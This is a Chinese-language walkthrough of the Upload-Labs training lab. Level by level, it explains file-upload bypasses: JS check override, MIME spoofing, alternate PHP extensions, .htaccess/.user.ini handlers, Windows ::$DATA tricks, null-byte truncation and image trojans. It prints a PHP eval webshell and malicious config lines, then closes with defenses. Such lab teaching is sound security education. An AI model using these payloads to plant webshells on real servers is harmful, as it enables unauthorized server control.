一、前言

文件上传漏洞是 Web 安全中高频高危漏洞,攻击者通过上传恶意脚本(Webshell)实现服务器控制。Upload-Labs 是最经典的文件上传靶场,覆盖前端校验、MIME 校验、黑名单、后缀解析、特殊字符、00 截断、图片马等全部主流上传绕过思路。本文结合实操抓包代码,逐关拆解原理与利用方式,适合 Web 安全入门、渗透测试学习。

环境说明:phpStudy + Apache,Windows 本地靶场,PHP 版本分高低版本用于区分 00 截断是否生效。

二、Pass1:前端 JS 校验绕过

1. 漏洞原理

页面上传按钮绑定checkFile()前端 JS 校验,仅在浏览器本地判断文件后缀,后端无任何校验。 弹窗提示该文件不允许上传完全由 JS 弹出,网络面板无请求时即可判定为前端校验。

核心 JS 校验源码:

javascript

运行

function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
//允许后缀仅jpg/png/gif
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name) == -1) {
alert("该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:"+ext_name);
return false;
}
}

2. 三种绕过方法

方法 1:控制台覆盖校验函数

F12 打开 Console,直接重写校验函数永久返回 true,跳过判断:

javascript

运行

checkFile = function(){return true;}

刷新页面后直接选择 shell.php 上传即可成功。

方法 2:Burp Suite 拦截修改文件名
  1. 将木马重命名为shell.jpg上传;
  2. BP 开启拦截,抓到上传数据包;
  3. 修改filename="shell.jpg"filename="shell.php"后放行。

数据包关键片段:

plaintext

Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type:image/jpeg
<?php eval ($_POST['a']);?>
方法 3:修改页面响应 JS 白名单

BP 拦截页面响应包,修改 JS 内allow_ext变量,添加 php 后缀:

js

运行

var allow_ext =".jpg|.png|.gif|.php";

放行响应后页面校验直接允许 php 文件。

三、Pass2:MIME-Type 请求头校验绕过

1. 漏洞原理

后端不再依赖文件名,读取$_FILES['upload_file']['type'](对应 HTTP 请求头Content-Type)做白名单校验,仅允许image/jpeg、image/png、image/gif

后端校验核心代码:

php

运行

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
    //执行上传逻辑
}else{
    $msg = '文件类型不正确,请重新上传!';
}

2. 绕过思路

文件后缀改为 jpg 上传,BP 抓包修改两处:

  1. filename 改为shell.php
  2. 保留Content-Type: image/jpeg不修改,欺骗后端 MIME 校验。

四、Pass3:黑名单后缀绕过(特殊 PHP 解析后缀)

1. 漏洞原理

后端采用黑名单,拦截.php、.jsp、.asp等脚本后缀,但未过滤 Apache 可解析的另类 PHP 后缀。 黑名单数组:

php

运行

$deny_ext = array('.asp','.aspx','.php','.jsp');

2. 利用原理

Apache 配置文件存在解析映射,以下后缀均可被当做 PHP 执行: .php3、.php5、.php8、.phtml、.pht

apache

AddType application/x-httpd-php .php .php3 .phtml

3. 操作步骤

直接上传shell.php3,后端黑名单不存在该后缀,上传成功;访问地址即可连接菜刀 / 蚁剑: http://localhost/upload/202605281045469375.php3

五、Pass4:.htaccess 配置文件绕过

1. 适用环境

仅 Apache 服务器生效,Nginx、IIS 无效。 .htaccess是目录级配置文件,可自定义文件解析规则。

2. 利用流程

  1. 上传.htaccess配置文件,内容二选一:

apache

#方式1:所有jpg文件用php解析
AddHandler application/x-httpd-php .jpg
#方式2:文件匹配规则
<FileMatch ".jpg">
SetHandler application/x-httpd-php
</FileMatch>
  1. 上传一句话木马shell.jpg
  2. 访问shell.jpg,服务器按 PHP 代码执行图片内木马。

补充:.user.ini(FastCGI 模式专用)

PHP FastCGI 环境下使用.user.ini,配置内容:

ini

auto_prepend_file=shell.jpg

作用:当前目录下任意 php 文件访问时,自动加载执行shell.jpg内木马。

六、Pass5:大小写后缀绕过

1. 漏洞代码特征

黑名单包含全部大小写变种后缀,但代码缺少strtolower()统一转小写操作:

php

运行

$file_ext = strrchr($file_name, '.');
//未执行strtolower转换大小写
if(!in_array($file_ext, $deny_ext))

黑名单仅拦截.php,不拦截.pHp、.PhP等混合大小写。

2. 绕过方法

上传文件命名为shell.pHp,后缀大小写混合,黑名单匹配失效,成功上传并解析。

七、Pass6:Windows 特殊字符 / 点 / 空格 /::$DATA 绕过

前置知识点

Windows 系统文件名特性:系统自动忽略文件名末尾的.、空格、::$DATA数据流标记;PHP 代码底层处理逻辑与系统存在差异。 后端过滤逻辑:

  1. deldot():仅删除文件名末尾连续点;
  2. str_ireplace('::$DATA', '', $file_ext):仅清除扩展名内的::$DATA;
  3. trim():去除扩展名首尾空格。

三种主流 Payload

  1. 末尾点 + 空格shell.php. . PHP 处理后提取扩展名为.,不在黑名单;Windows 保存时自动剔除末尾点和空格,真实文件名为shell.php
  2. **NTFS 数据流:::DATA` PHP 过滤仅清除扩展名内的::$DATA,文件名本体保留,Windows 解析时丢弃数据流标记,文件为 php 脚本。
  3. 纯后缀点绕过:仅适用于不拼接随机文件名的关卡。

注意:若代码自动拼接时间戳 + 随机数重命名文件,该方法失效,最终文件无脚本后缀无法执行。

八、Pass7:双写后缀绕过

漏洞原理

后端使用字符串替换删除黑名单后缀,无循环替换,单次替换仅清除一次关键字:

php运行

$deny_ext = array("php","jsp","asp");
$file_name = str_ireplace($deny_ext,"", $file_name);

例如文件名phpphp.php,单次替换后变为php,成功保留脚本后缀。

Payload

上传文件名:shell.pphphp 替换逻辑:中间 php 被删除,剩余shell.php

九、Pass8:00 截断(Null 字节注入)

底层原理

C 语言字符串以0x00(\0)作为结束符,低版本 PHP 底层文件操作继承该特性;传入%00URL 解码后为 Null 字节,截断后续字符串。 生效限制:

  1. PHP 版本 < 5.3.4(5.3.4 修复 Null 字节截断漏洞);
  2. magic_quotes_gpc=Off,不会自动转义\0
  3. 文件路径 / 文件名可控。

两种利用方式

1. GET 路径截断(Pass11)

上传路径由 GET 参数save_path控制,拼接逻辑:

php运行

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

请求 URL 添加参数:?save_path=shell.php%00 拼接完整路径:upload/shell.php%00123456.jpg 底层读取到%00直接截断,最终保存为shell.php

2. 文件名截断(Pass12)

抓包修改上传文件名:filename="shell.php%00.jpg" 后端校验取后缀.jpg判定合法;保存文件时 Null 截断,生成shell.php

注意:Multipart 表单内 filename 不会自动 URL 解码,需 BP 选中 %00 执行 URL Decode 转为二进制 0x00。

十、Pass9:图片马(文件头校验绕过)

漏洞场景

后端校验文件二进制文件头(图片幻数),仅判断文件是否为图片,不清除图片内嵌入的 PHP 代码。

制作图片马命令(Windows cmd)

cmd

copy /b 正常图片.jpg + shell.php shell.jpg

/b代表二进制合并,图片文件头保留,PHP 代码追加至文件末尾。

配套利用条件

仅上传图片马无法直接执行,需搭配文件包含漏洞、解析漏洞、.htaccess 配置、.user.ini 实现代码执行。

十一、漏洞防御总结

结合所有绕过思路,给出完整文件上传防御方案:

  1. 后端双重校验,舍弃前端校验:前端 JS 仅做用户体验优化,核心校验必须放在服务端;
  2. 白名单优先,拒绝黑名单:仅允许指定图片后缀 jpg/png/gif,杜绝另类脚本后缀;
  3. 三重校验:文件名后缀统一转小写 + MIME-Type 校验 + 文件头幻数校验;
  4. 文件名重命名:上传文件统一生成随机文件名 + 固定允许后缀,杜绝特殊字符、00 截断;
  5. 过滤危险字符:拦截\0、.、空格、::$DATA等特殊字符;
  6. 服务器加固
    • Apache 删除危险脚本解析映射(php3/phtml 等);
    • 限制目录禁止使用.htaccess/.user.ini;
    • Nginx 限制上传目录禁止执行 PHP;
  7. 版本升级:PHP 升级至 5.3.4 以上,修复 00 截断底层漏洞。

十二、文末小结

文件上传漏洞的核心绕过思路分为四大类:前端绕过、请求头 / 文件名绕过、服务器解析特性绕过、底层字符截断漏洞。Upload-Labs 完整覆盖企业渗透中 90% 以上上传场景,掌握每一关原理可以快速识别真实业务中的上传漏洞。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐